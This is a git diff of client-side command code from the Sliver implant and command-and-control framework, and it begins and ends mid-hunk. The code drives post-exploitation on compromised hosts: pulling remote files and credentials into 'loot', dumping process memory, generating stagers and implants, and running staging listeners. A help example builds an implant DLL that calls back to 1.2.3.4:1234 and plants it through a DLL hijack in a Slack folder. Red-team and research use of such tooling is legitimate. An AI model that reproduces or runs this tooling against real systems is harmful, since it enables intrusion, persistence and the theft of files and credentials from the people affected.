dst = path.Join(dst, fileName)
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
@@ -63,85 +76,60 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleDownloadResponse(download, ctx, con)
PrintDownload(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
HandleDownloadResponse(download, ctx, con)
PrintDownload(download, ctx, con)
}
}
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
saveLoot := ctx.Flags.Bool("loot")
if saveLoot {
lootName := ctx.Flags.String("name")
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Hand off to the loot package to take care of looting
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
}
-84
View File
@@ -1,84 +0,0 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
src := ctx.Args.String("src")
if src == "" {
con.PrintErrorf("Missing parameter: src\n")
return
}
dst := ctx.Args.String("dst")
if dst == "" {
con.PrintErrorf("Missing parameter: dst\n")
return
}
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
Request: con.ActiveTarget.Request(ctx),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
mv.Src, mv.Dst = src, dst
if mv.Response != nil && mv.Response.Async {
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(mv.Response)
} else {
PrintMv(mv, con)
}
return
}
// PrintMv - Print the renamed file
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
if mv.Response != nil && mv.Response.Err != "" {
con.PrintErrorf("%s\n", mv.Response.Err)
return
}
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
}
+1 -11
View File
@@ -38,17 +38,7 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
/*
If seconds has not been specified but any of the other time units have, then do not add
the default 60 seconds to the interval.
If seconds have been specified, then add them regardless.
*/
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
}
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
+8 -2
View File
@@ -5,6 +5,8 @@ import (
"fmt"
"io/ioutil"
"net"
"os"
"path/filepath"
"regexp"
"strings"
@@ -93,11 +95,15 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if save != "" || format == "raw" {
saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
if err != nil {
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
return
}
if fi.IsDir() {
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
}
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
-27
View File
@@ -258,7 +258,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
isShellcode := false
format := ctx.Flags.String("format")
runAtLoad := false
var configFormat clientpb.OutputFormat
switch format {
case "exe":
@@ -266,7 +265,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
case "shared":
configFormat = clientpb.OutputFormat_SHARED_LIB
isSharedLib = true
runAtLoad = ctx.Flags.Bool("run-at-load")
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
@@ -305,13 +303,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
// TODO: Use generics or something to check in a slice
connectionStrategy := ctx.Flags.String("strategy")
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
return nil
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
@@ -326,7 +317,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ConnectionStrategy: connectionStrategy,
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
@@ -341,8 +331,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
RunAtLoad: runAtLoad,
}
return config
@@ -527,9 +515,6 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
arg = strings.ReplaceAll(arg, "\\", "/")
arg = strings.TrimPrefix(arg, "/")
arg = strings.TrimPrefix(arg, "/")
var uri *url.URL
var err error
if strings.HasPrefix(arg, "namedpipe://") {
@@ -546,18 +531,6 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
if uri.Scheme != "namedpipe" {
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
}
if !strings.HasPrefix(uri.Path, "/pipe/") {
prompt := &survey.Confirm{
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
-4
View File
@@ -100,10 +100,6 @@ func printHelp(con *console.SliverConsoleClient) {
con.Println()
}
}
con.Println()
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
con.Println()
}
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
+2 -2
View File
@@ -657,8 +657,8 @@ supplied with the --profile flag.
# Use a local DLL for a hijack
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
# Use a Sliver generated DLL for the hijack
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
-45
View File
@@ -19,14 +19,10 @@ package info
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
@@ -124,50 +120,9 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil && beacon == nil {
return
}
var isWin bool
con.Printf("Logon ID: ")
if session != nil {
con.Printf("%s\n", session.Username)
if session.GetOS() == "windows" {
isWin = true
}
} else if beacon != nil {
con.Printf("%s\n", beacon.Username)
if beacon.GetOS() == "windows" {
isWin = true
}
}
if isWin {
cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if cto.Response != nil && cto.Response.Async {
con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintTokenOwner(cto, con)
})
con.PrintAsyncResponse(cto.Response)
} else {
PrintTokenOwner(cto, con)
}
}
}
func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
if cto.Response != nil && cto.Response.Err != "" {
con.PrintErrorf("%s\n", cto.Response.Err)
return
}
con.PrintInfof("Current Token ID: %s", cto.Output)
}
+2 -3
View File
@@ -31,9 +31,9 @@ import (
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domains := strings.Split(ctx.Flags.String("domains"), ",")
for index, domain := range domains {
for _, domain := range domains {
if !strings.HasSuffix(domain, ".") {
domains[index] += "."
domain += "."
}
}
@@ -47,7 +47,6 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Port: uint32(lport),
Canaries: !ctx.Flags.Bool("no-canaries"),
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !ctx.Flags.Bool("disable-otp"),
})
con.Println()
if err != nil {
-35
View File
@@ -26,7 +26,6 @@ import (
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -34,8 +33,6 @@ import (
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profileName := ctx.Flags.String("profile")
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -59,39 +56,12 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Profile not found\n")
return
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
if len(aesEncryptKey)%16 != 0 {
con.PrintErrorf("Incorect length of AES Key\n")
return
}
// set default aes iv
if aesEncryptIv == "" {
aesEncryptIv = "0000000000000000"
}
// check if aes iv is correct length
if len(aesEncryptIv)%16 != 0 {
con.PrintErrorf("Incorect length of AES IV\n")
return
}
aesEncrypt = true
}
stage2, err := generate.GetSliverBinary(profile, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if aesEncrypt {
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
case "http":
ctrl := make(chan bool)
@@ -155,9 +125,4 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
return
}
if aesEncrypt {
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
+6 -10
View File
@@ -27,7 +27,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/desertbit/grumble"
)
@@ -42,7 +41,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if !confirm {
return
}
err := KillSession(session, ctx, con)
err := KillSession(session, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -55,7 +54,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if !confirm {
return
}
err := KillBeacon(beacon, ctx, con)
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -68,31 +67,28 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
if session == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: ctx.Flags.Bool("force"),
Force: force,
})
core.Sessions.Remove(session.ID)
return err
}
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
if beacon == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
BeaconID: beacon.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: ctx.Flags.Bool("force"),
Force: force,
})
return err
+1 -5
View File
@@ -176,11 +176,7 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
if loot.Name == loot.File.Name {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
}
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
}
table.Flush()
options := strings.Split(buf.String(), "\n")
+4 -5
View File
@@ -159,15 +159,14 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
fmt.Fprintln(table, "Type\tName\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
strings.Repeat("=", len("Type")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
}
table.Flush()
@@ -402,7 +401,7 @@ func isText(sample []byte) bool {
// last char may be incomplete - ignore
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
// decoding error or control character - not a text file
return false
}
+67 -207
View File
@@ -19,14 +19,9 @@ package loot
*/
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
"fmt"
"io"
"path/filepath"
"strings"
"path"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -34,198 +29,8 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
var lootType clientpb.LootType
var err error
if lootTypeInput != "" {
lootType, err = lootTypeFromHumanStr(lootTypeInput)
if err != nil {
/*
If we get an error, that means that this loot type was invalid.
We will leave it up to the caller to handle the error (output it
to the console for example)
*/
return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
return lootType, err
}
func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
if lootFileType == -1 || err != nil {
if isText(data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
return lootFileType
}
/*
Eventually this function needs to be refactored out, but we made the decision to
duplicate it for now
*/
func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
}
})
con.PrintAsyncResponse(download.Response)
}
if download.Response != nil && download.Response.Err != "" {
return nil, fmt.Errorf("%s\n", download.Response.Err)
}
// Decode the downloaded data if required
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, fmt.Errorf("Decoding failed %s", err)
}
}
return download, nil
}
func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
if lootName == "" {
lootName = fileName
}
lootMessage := &clientpb.Loot{
Name: lootName,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: fileName,
Data: data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
lootMessage.CredentialType = clientpb.CredentialType_FILE
}
return lootMessage
}
func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
control := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
loot, err := con.Rpc.LootAdd(context.Background(), loot)
control <- true
<-control
if err != nil {
con.PrintErrorf("%s\n", err)
}
if loot.Name != loot.File.Name {
con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
} else {
con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
}
return
}
func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
// Was the download successful?
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
/* Construct everything needed to send the loot to the server
If this is a directory, we will process each file individually
*/
// Let's handle the simple case of a file first
if !download.IsDir {
// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
SendLootMessage(lootMessage, con)
} else {
// We have to decompress the gzip file first
decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
if err != nil {
con.PrintErrorf("Could not decompress downloaded data: %s", err)
return
}
/*
Directories are stored as tar-ed gzip archives.
We have gotten rid of the gzip part, now we have to sort out the tar
*/
tarReader := tar.NewReader(decompressedDownload)
// Keep reading until we reach the end
for {
entryHeader, err := tarReader.Next()
if err == io.EOF {
// We have reached the end of the tar archive
break
}
if err != nil {
// Something is wrong with this archive. Stop reading.
break
}
if entryHeader == nil {
/*
If the entry is nil, skip it (not sure when this would happen,
but we do not want to attempt operations on something that is nil)
*/
continue
}
if entryHeader.Typeflag == tar.TypeDir {
// Keep going to dig into the directory
continue
}
// The implant should have only shipped us files (the implant resolves symlinks)
// Create a loot message for this file and ship it
/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
be the end of the file
*/
fileData, err := io.ReadAll(tarReader)
if err == nil {
lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
SendLootMessage(lootMessage, con)
}
}
}
}
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -233,22 +38,77 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
remotePath := ctx.Args.String("path")
fileName := filepath.Base(remotePath)
name := ctx.Flags.String("name")
lootType, err := ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
if name == "" {
name = path.Base(remotePath)
}
download, err := PerformDownload(remotePath, fileName, ctx, con)
var lootType clientpb.LootType
var err error
lootTypeStr := ctx.Flags.String("type")
if lootTypeStr != "" {
lootType, err = lootTypeFromHumanStr(lootTypeStr)
if err == ErrInvalidLootType {
con.PrintErrorf("Invalid loot type %s", lootTypeStr)
return
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err) // Download failed
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
// Determine type based on download buffer
lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
LootDownload(download, name, lootType, lootFileType, ctx, con)
lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
if lootFileType == -1 || err != nil {
if isText(download.Data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
loot := &clientpb.Loot{
Name: name,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: path.Base(remotePath),
Data: download.Data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
loot.CredentialType = clientpb.CredentialType_FILE
}
loot, err = con.Rpc.LootAdd(context.Background(), loot)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
}
+3 -23
View File
@@ -23,7 +23,6 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
@@ -41,7 +40,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
AESKey: aesKey,
}
implantMapper := prelude.InitImplantMapper(config)
sessionMapper := prelude.InitSessionMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
@@ -53,28 +52,9 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, session := range sessions.Sessions {
if !session.IsDead {
err = implantMapper.AddImplant(session, nil)
if err != nil {
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
}
}
}
con.PrintInfof("Done !\n")
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get beacon list: %s", err)
return
}
if len(beacons.Beacons) > 0 {
con.PrintInfof("Adding existing beacons ...\n")
for _, beacon := range beacons.Beacons {
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
err = sessionMapper.AddSession(session)
if err != nil {
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
}
}
con.PrintInfof("Done !\n")
+2 -2
View File
@@ -25,8 +25,8 @@ import (
)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.ImplantMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
+3 -31
View File
@@ -24,9 +24,7 @@ import (
"io/ioutil"
"os"
"path/filepath"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -44,8 +42,6 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pid := ctx.Flags.Int("pid")
name := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("loot-name")
if pid == -1 && name != "" {
pid = GetPIDByName(ctx, name, con)
@@ -82,23 +78,11 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
PrintProcessDump(dump, saveTo, hostname, pid, con)
})
con.PrintAsyncResponse(dump.Response)
} else {
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
}
@@ -115,7 +99,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -135,15 +119,3 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
}
return ""
}
func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
